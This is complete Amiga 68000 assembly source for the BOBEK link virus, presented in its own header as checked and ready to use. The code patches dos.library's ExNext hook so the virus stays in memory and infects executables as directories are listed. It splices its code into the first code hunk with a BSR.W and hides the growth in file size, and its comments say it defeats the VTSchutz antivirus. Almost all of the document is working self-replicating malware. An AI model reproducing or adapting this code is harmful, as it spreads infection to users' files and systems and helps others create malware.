; .-------------------------------------------------.
;( Full and checked source code for BOBEK linkvirus! )
; ---------------------------------------------------


;File infection: first code hunk will be inreased and the first
;                LONGWORD will be replaced with BSR.W to virus
;                code. Self detect based on difference between
;                length declared in HunkHeader and length
;                declared in hunk itself.
;                The code of virus isn't crypted and will
;                be executed at the end infected program.
;                This allows to skip troble from Workbench.
;
;Memory infection: ExNext of dos.library will be patched.
;                  Selfdetection based on cleared LibOpen
;                  vector of exec.library which is normally unused.
;                  This is enough to stop VTSchutz from working!
;                  The memory is allocated once for virus itself
;                  and the files to infect.


;Coded by PANDAMEN in less than three hours!!!


MinimalSize	=	1000
MaximalSize	=	32000
VirusLen	=	460





OpenLibrary	=	-552
AllocVec	=	-684
FreeVec		=	-690
CopyMemQuick	=	-630
Lock		=	-84
UnLock		=	-90
Examine		=	-102
ExNext		=	-$6c
Info		=	-114
Open		=	-30
Read		=	-42
Write		=	-48
Close		=	-36

CodeHunk	=	1001


	section	code,code
	move.l	#EndOfHappy-Begin,d0
	;rts




NormalProgram:
	bsr.b	Begin
	rts
	rts
	rts


	cnop	0,4
Begin:

;this code is called AFTER the program

TotBeginer:
	move.l	d0,-(sp)

	move.l	4.w,a6

	tst.l	-4(a6)				;IncredibleSelfRecog :-)
	beq.b	Exit
	clr.l	-4(a6)

	lea	$17a(a6),a0			;LibList
	lea.l	DosName(pc),a1			;DosName
	jsr	-276(a6)			;FindName
	move.l	d0,a4

	moveq	#1,d0
	neg.w	d0				;$ffff
	moveq	#0,d1
	jsr	AllocVec(a6)			;Alloc memory for virus code

	move.l	d0,a1
	beq.s	Exit

	lea.l	[ExNextPatch-Begin](a1),a3

	lea.l	Begin(pc),a0
	move.l	a4,[DosBase-Begin](a0)
	
	moveq	#16,d0				;16
	lsl.l	#6,d0				;1024
	jsr	CopyMemQuick(a6)		;Copy of virus code

	lea.l	ExNext+2(a4),a2			;Get ExNext
	move.l	(a2),[Jumper-ExNextPatch](a3)
	move.l	a3,(a2)
Exit:
	move.l	(sp)+,d0
	rts


Dosname:
	dc.b	'dos.library',0	

Sign:	nop
	rts					;Original LONG


ExNextPatch:
	bra.b	.skip
	dc.b	"SYSPATCH"
	dc.l	0

.skip
	movem.l	d1-d2,-(sp)			;lock and FIB
	dc.w	$4eb9
JUMPER:
	ds.l	1
	
	movem.l	d0-a6,-(sp)
	tst.l	d0
	beq.b	.out

	move.l	DosBase(pc),a6			;Get DosBase

	lea.l	Open+2(a6),a2			;Open

	cmp.b	#$ff,1(a2)
	blt.b	.OK
.Fre:
	bra.b	.out
.OK:
	cmp.b	#$f0,1(a2)
	blt.b	.Fre

	move.l	[8*4+7*4](a7),d5		;Get Lock on directory
						;from stack
	lea.l	Buffer(pc),a5

	move.l	d5,d1
	move.l	a5,d2
	jsr	Info(a6)

	cmpi.b	#82,11(a5)			;enabled and validated
	bne.b	.out

	move.l	d5,d1
	move.l	a5,d2
	moveq	#120,d3
	jsr	-$0192(a6)			;NameFromLock

	move.l	[8*4+7*4+4](a7),a4		;Get FIB on file from stack

	tst.l	4(a4)				;file/dir
	bge.b	.out				;jump if dir

	move.l	a5,a2				;scroll directory
.copy1	tst.b	(a2)+				;path
	bne.b	.copy1

	move.b	#$2f,-1(a2)			;add '/'

	lea.l	8(a4),a3			;fib_FileName
.copy2	move.b	(a3)+,(a2)+			;copy filename
	bne.b	.copy2				;behind
	
	move.l	$7c(a4),d5			;fib_Size
	
	btst	#1,d2				;filesize is cnop 0,4? ;-)
	bne.b	.out

	move.b	$dff007,d0
	btst	#0,d0
	beq.b	.out

	bsr.b	main

.out
	movem.l	(sp)+,d0-a6
	addq.l	#8,a7				;skip the arguments
Quick:
	rts


Main:
	cmp.l	#MaximalSize,d5			;file size checking
	bgt.b	Quick
	cmp.w	#MinimalSize,d5
	blt.b	Quick

	lea.l	500(a5),a0
	move.l	a0,d7

Opener:	
	move.l	#1004,d2			;Modify
	move.l	a5,d1
	jsr	Open(a6)

	move.l	d0,d6
	beq.b	Quick

	move.l	d6,d1
	move.l	d7,d2
	move.l	d5,d3
	jsr	Read(a6)
	
	move.l	d7,a3
	move.l	#VirusLen/4,d4
	lea.l	$14(a3),a0
	move.l	(a0),d0
	add.l	d4,(a0)
	addq.l	#4,(a0)

	moveq	#20,d1
.find:
	cmp.l	#CodeHunk,(a0)+
	beq.b	.Found
	dbra	d1,.find

	bra.b	Closer
	
.Found:
	cmp.l	(a0),d0
	bne.s	Closer				;Crunched or infected!

	move.l	(a0),d1
	add.l	d4,(a0)+

	cmp.b	#$4e,(a0)			;Bye if code starts
	beq.b	Closer				;with JUMP

	lsl.l	#2,d1

	move.l	(a0),-[Buffer-Sign](a5)

	move.l	#$61000000-2+[Skippy-Begin],(a0)
	
	;BSR.W to Skippy which runs program and then virus.

	add.l	d1,(a0)

	add.l	d1,a0
	move.l	a0,d4

	move.l	d6,d1				;FileHandle
	moveq	#0,d2				;mode
	moveq	#-1,d3				;OffsetBeg
	jsr	-66(a6)				;Seek

	move.l	d7,d2
	move.l	d4,d3
	sub.l	d7,d3
	
	bsr.b	Writer
	
	lea.l	Begin(pc),a0
	move.l	a0,d2
	
	move.l	#VirusLen,d3

	add.l	d3,$7c(a4)			;stealth :-)
	bsr.b	Writer
	
	move.l	d4,d2
	add.l	d7,d5
	sub.l	d4,d5
	move.l	d5,d3
	
	bsr.b	Writer

Closer:
	move.l	d6,d1
	jmp	Close(a6)

Writer:	
	move.l	d6,d1
	jmp	Write(a6)


Skippy:
;This is stack infector - the idea is to rewrite
;changed code and to put virus addy to be called when
;program quits (this is to be sure that there won't be
;GURU from unhandled Workbench message!)

	move.l	(a7),a5				;restore
	move.l	Sign(pc),-4(a5)			;original LONG
	subq.l	#4,(a7)				;set addy for the right place

	move.l	4.w,a6
	jsr	-$27c(a6)			;CacheClearU
	
	
	move.l	(a7),-(a7)			;copy this addy
	pea.l	TotBeginer(pc)			;push our virus address
	move.l	(a7),8(a7)			;our to the place of original
	addq.l	#4,a7				;align
	rts

Label:	dc.b	"[BOBEK!]"

	cnop	0,4
EndOfHappy:

Dosbase:	dc.l	0

Buffer: